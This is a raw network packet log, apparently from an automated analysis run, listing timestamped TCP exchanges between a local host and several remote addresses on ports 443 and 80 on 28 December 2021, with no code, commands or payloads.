Dec 28, 2021 05:19:41.728148937 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.728161097 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.728183031 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.728209972 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.728286028 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.728322983 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.728369951 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.728382111 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.728399038 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.728430986 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.728507042 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.728543997 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.728593111 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.728604078 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.728631020 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.728648901 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.728724003 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.728758097 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.728799105 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.728811026 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.728832006 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.728876114 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.728955030 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.729022980 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.729055882 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.729067087 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.729091883 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.729119062 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.729204893 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.729239941 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.729279995 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.729290962 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.729312897 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.729332924 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.729410887 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.729449034 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.729489088 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.729499102 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.729525089 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.729551077 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.729578972 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.729598045 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.729644060 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.729649067 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.729664087 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.729677916 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.729691982 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.729708910 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.729713917 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.729737043 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.729759932 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.729770899 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.729777098 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.729815960 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.729826927 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.729847908 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.729852915 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.729890108 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.729921103 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.729933977 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:41.730375051 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.848530054 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:41.992655039 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:42.160563946 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:42.160600901 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:42.160617113 CET	49847	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:42.160631895 CET	443	49847	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:44.571890116 CET	49849	80	192.168.2.3	194.180.174.53
Dec 28, 2021 05:19:45.129215002 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.189464092 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.189531088 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.189570904 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.189583063 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.189603090 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.189635038 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.189640045 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.189687967 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.189738989 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.189745903 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.189790010 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.189790964 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.189838886 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.189889908 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.189897060 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.189940929 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.189996004 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.250252962 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.250319958 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.250345945 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.250370979 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.250376940 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.250423908 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.250477076 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.250484943 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.250528097 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.250592947 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.250614882 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.250643969 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.250703096 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.250705004 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.250756025 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.250762939 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.250806093 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.250818968 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.250857115 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.250909090 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.250921965 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.250958920 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.251019001 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.251025915 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.251070976 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.251075983 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.251122952 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.251176119 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.251183033 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.251224041 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.251275063 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.251280069 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.251333952 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.311096907 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.311167955 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.311220884 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.311261892 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.311273098 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.311325073 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.311328888 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.311376095 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.311377048 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.311412096 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.311436892 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.311449051 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.311489105 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.311542034 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.311553955 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.311593056 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.311599016 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.311644077 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.311664104 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.311697006 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.311703920 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.311748028 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.311800003 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.311811924 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.311851978 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.311852932 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.311913013 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.311964035 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.311976910 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.312012911 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.312016964 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.312062979 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.312114954 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.312128067 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.312170029 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.312222958 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.312230110 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.312273979 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.312279940 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.312325954 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.312376022 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.312383890 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.312426090 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.312477112 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.312484980 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.312532902 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.312581062 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.312593937 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.312633038 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.312684059 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.312697887 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.312736034 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.312792063 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.312797070 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.312839985 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.312901974 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.312922955 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.312975883 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.313024044 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.313035965 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.313075066 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.313124895 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.313132048 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.313178062 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.313241005 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.372812986 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.372893095 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.372925043 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.372972012 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.372975111 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.373012066 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.373013020 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.373038054 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.373053074 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.373080969 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.373094082 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.373135090 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.373143911 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.373176098 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.373214960 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.373230934 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.373254061 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.373260975 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.373294115 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.373334885 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.373370886 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.373372078 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.373414040 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.373428106 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.373454094 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.373460054 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.373498917 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.373538971 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.373557091 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.373577118 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.373580933 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.373616934 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.373644114 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.373662949 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.373691082 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.373703003 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.373709917 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.373743057 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.373756886 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.373783112 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.373790026 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.373821974 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.373862028 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.373877048 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.373898983 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.373917103 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.373939037 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.373941898 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.373977900 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.374015093 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.374039888 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.374052048 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.374058962 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.374093056 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.374106884 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.374138117 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.374154091 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.374177933 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.374185085 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.374214888 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.374247074 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.374254942 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.374294043 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.374309063 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.374334097 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.374372959 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.374387026 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.374413013 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.374419928 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.374453068 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.374492884 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.374517918 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.374528885 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.374535084 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.374567986 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.374599934 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.374629974 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.374675989 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.374685049 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.374712944 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.374713898 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.374728918 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.374752998 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.374761105 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.374792099 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.374804974 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.374831915 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.374840975 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.374872923 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.374911070 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.374923944 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.374949932 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.374953032 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.374989033 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.375026941 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.375041962 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.375066042 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.375066042 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.375106096 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.375144958 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.375159979 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.375185013 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.375199080 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.375222921 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.375262022 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.375277042 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.375302076 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.375303984 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.375339985 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.375377893 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.375401020 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.375416994 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.375417948 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.375456095 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.375495911 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.375513077 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.375533104 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.375549078 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.375572920 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.375588894 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.375612020 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.375658989 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.375670910 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.375699043 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.375737906 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.375756979 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.375776052 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.375786066 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.375816107 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.375830889 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.375854969 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.375871897 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.375895023 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.375935078 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.375950098 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.375972033 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.375981092 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.376302958 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.435457945 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.435503960 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.435544968 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.435585022 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.435616016 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.435622931 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.435658932 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.435666084 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.435668945 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.435709953 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.435756922 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.435786009 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.435796976 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.435812950 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.435838938 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.435858011 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:45.435878992 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:45.435893059 CET	49850	80	192.168.2.3	185.7.214.239
